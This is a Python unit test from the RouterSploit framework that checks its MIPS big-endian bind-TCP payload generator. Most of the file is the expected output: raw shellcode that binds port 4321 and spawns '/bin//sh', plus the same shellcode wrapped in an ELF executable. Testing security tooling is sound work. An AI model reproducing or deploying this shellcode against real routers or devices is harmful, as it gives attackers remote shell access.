1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from routersploit.modules.payloads.mipsbe.bind_tcp import Payload
# mipsbe bind tcp payload with rport=4321
bind_tcp = (
b"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28"
b"\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x30\x50"
b"\xff\xff\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d\xff\xfd\x01"
b"\xa0\x68\x27\x01\xcd\x68\x04\x24\x0e\x10\xe1\x01\xae\x68\x25"
b"\xaf\xad\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff"
b"\xec\x02\x10\x20\x25\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5"
b"\xff\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x02\x10\x20\x25\x24"
b"\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x02\x10\x20\x25"
b"\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48\x01\x01\x01"
b"\x0c\xaf\xa2\xff\xff\x24\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4"
b"\xff\xff\x02\x20\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24"
b"\x10\xff\xff\x22\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff"
b"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e"
b"\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4"
b"\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24"
b"\x02\x0f\xab\x01\x01\x01\x0c"
)
# elf mipsbe bind tcp
elf_mipsbe_bind_tcp = (
b"\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00"
b"\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x00\x54\x00\x00"
b"\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00"
b"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
b"\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x01\x3c\x00\x00\x02"
b"\x24\x00\x00\x00\x07\x00\x00\x10\x00\x27\xbd\xff\xe0\x24\x0e"
b"\xff\xfd\x01\xc0\x20\x27\x01\xc0\x28\x27\x28\x06\xff\xff\x24"
b"\x02\x10\x57\x01\x01\x01\x0c\x30\x50\xff\xff\x24\x0e\xff\xef"
b"\x01\xc0\x70\x27\x24\x0d\xff\xfd\x01\xa0\x68\x27\x01\xcd\x68"
b"\x04\x24\x0e\x10\xe1\x01\xae\x68\x25\xaf\xad\xff\xe0\xaf\xa0"
b"\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x02\x10\x20\x25\x24"
b"\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49"
b"\x01\x01\x01\x0c\x02\x10\x20\x25\x24\x05\x01\x01\x24\x02\x10"
b"\x4e\x01\x01\x01\x0c\x02\x10\x20\x25\x28\x05\xff\xff\x28\x06"
b"\xff\xff\x24\x02\x10\x48\x01\x01\x01\x0c\xaf\xa2\xff\xff\x24"
b"\x11\xff\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21"
b"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22\x31\xff"
b"\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef"
b"\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf"
b"\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
b"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01"
b"\x0c"
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.generate_elf(bind_tcp) == elf_mipsbe_bind_tcp